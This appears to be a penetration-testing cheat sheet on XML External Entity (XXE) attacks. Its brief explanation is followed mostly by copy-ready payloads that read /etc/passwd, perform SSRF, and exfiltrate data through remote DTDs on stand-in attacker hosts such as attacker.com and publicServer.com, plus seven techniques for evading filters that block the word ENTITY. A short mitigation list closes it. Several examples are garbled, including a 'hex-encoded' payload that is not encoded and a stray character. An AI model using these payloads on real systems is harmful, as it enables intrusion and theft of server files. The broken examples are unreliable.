XML External Entity (XXE) is a type of vulnerability that occurs when an application processes user-supplied XML data without properly validating it. In XML, the term Entity refers to a storage unit of data, which can be internal (within the XML document) or external (an external file or URL). An attacker can exploit XXE to:
Read arbitrary files on the server (e.g., /etc/passwd).
Make requests to internal systems (Server-Side Request Forgery, SSRF).
Cause denial of service (DoS) by using large external entities.
Exfiltrate data by sending sensitive information to an external entity controlled by the attacker.
There are various types of XXE attacks:
XXE Attack Type
Description
Exploiting XXE to Retrieve Files
Where an external entity is defined containing the contents of a file, and returned in the application's response.
Exploiting XXE to Perform SSRF Attacks
Where an external entity is defined based on a URL to a back-end system.
Exploiting Blind XXE Exfiltrate Data Out-of-Band
Where sensitive data is transmitted from the application server to a system that the attacker controls.
Exploiting blind XXE to Retrieve Data Via Error Messages
Where the attacker can trigger a parsing error message containing sensitive data.
<?xml version="1.0" ?><!DOCTYPE data [<!ELEMENT data ANY ><!ENTITY cat "Tom">]><Contact><lastName>&cat;</lastName><firstName>Jerry</firstName></Contact>
<?xml version="1.0"?><!DOCTYPE data [ <!ELEMENT data ANY > <!ENTITY cat SYSTEM "file:///etc/passwd">]><Contact><lastName>&cat;</lastName><firstName>Jerry</firstName></Contact>
CDATA
Exploitation
LFI Test
<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo (#ANY)><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
Blind LFI test (when first case doesn't return anything)
<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo (#ANY)><!ENTITY % xxe SYSTEM "file:///etc/passwd"><!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
Access Control bypass (loading restricted resources - PHP example)
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]><foo><result>∾</result></foo>
SSRF Test
<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo (#ANY)><!ENTITY xxe SYSTEM "<https://www.example.com/text.txt>">]><foo>&xxe;</foo>
<!DOCTYPE data [<!ENTITY % remote SYSTEM "<http://publicServer.com/parameterEntity_sendftp.dtd>">%remote;%send;]><data>4</data>File stored on <http://publicServer.com/parameterEntity_sendftp.dtd><!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>">%param1;
XXE UTF-7
<?xml version="1.0" encoding="UTF-7"?>+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA++ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
To convert between UTF-8 & UTF-7 use recode. recode UTF8..UTF7 payload-file.xml
Bypassing Filters that Block "ENTITY":
If a web application is filtering or blocking the word "ENTITY" to prevent XXE attacks, there are several bypass techniques you can try:
1. Case Manipulation:
Some filters are case-sensitive and may only block the exact string ENTITY in uppercase. You can try different cases, such as:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
Test variations like:
<!entity>
<!EnTiTy>
2. Use Parameter Entities:
Instead of defining an external entity directly, you can use parameter entities (which start with %) to indirectly reference the malicious entity:
<?xml version="1.0" ?><!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">%dtd;]><foo>&xxe;</foo>
The malicious .dtd file hosted on attacker.com could contain the payload for reading a file.
3. Hex Encoding:
Sometimes, filters may miss encoded characters. You can try encoding the word ENTITY using its hexadecimal or decimal representation in XML:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
This encodes "ENTITY" in decimal (69 for 'E', 78 for 'N', etc.). In hex, it would be <!ENTITY xxe SYSTEM "file:///etc/passwd">.
4. Using DTD Chaining:
If you have control over external DTDs, you can chain DTDs to bypass filters. This involves referencing a remote DTD file hosted by the attacker:
<!DOCTYPE foo [ <!ENTITY % remote SYSTEM "http://attacker.com/external.dtd">%remote;]>
The external DTD file (external.dtd) can define the malicious entity, bypassing local filters.
5. XML Comments:
Sometimes filters miss entities hidden inside XML comments. You can obfuscate the payload by breaking the word ENTITY into parts:
<!DOCTYPE foo [ <!--<!ENTITY xxe SYSTEM "file:///etc/passwd">--><!ENT--><!--ITY xxe SYSTEM "file:///etc/passwd">-->]>
6. Base64 Encoding:
You might be able to encode the payload and then decode it at runtime. Some parsers allow you to inject base64-encoded external entities and decode them:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "data:text/plain;base64,L2V0Yy9wYXNzd2Q=">]><foo>&xxe;</foo>
This base64 string decodes to /etc/passwd.
7. Alternative External Sources (e.g., SYSTEM or PUBLIC):
Instead of using ENTITY, try to reference external files or URLs using alternative methods. For example:
<!DOCTYPE foo PUBLIC "-//OASIS//DTD Entity Resolution XML//EN" "http://attacker.com/malicious.dtd">
Here, the external DTD contains the payload, and you avoid using the ENTITY keyword.
Mitigation:
From a defensive perspective, to mitigate XXE attacks:
Disable external entity processing in XML parsers where it's not needed.
Use whitelisting for acceptable file or URL references in XML files.
Implement input validation to ensure only valid, trusted XML is processed.
Ensure your application is updated to use parsers that are not vulnerable to XXE by default.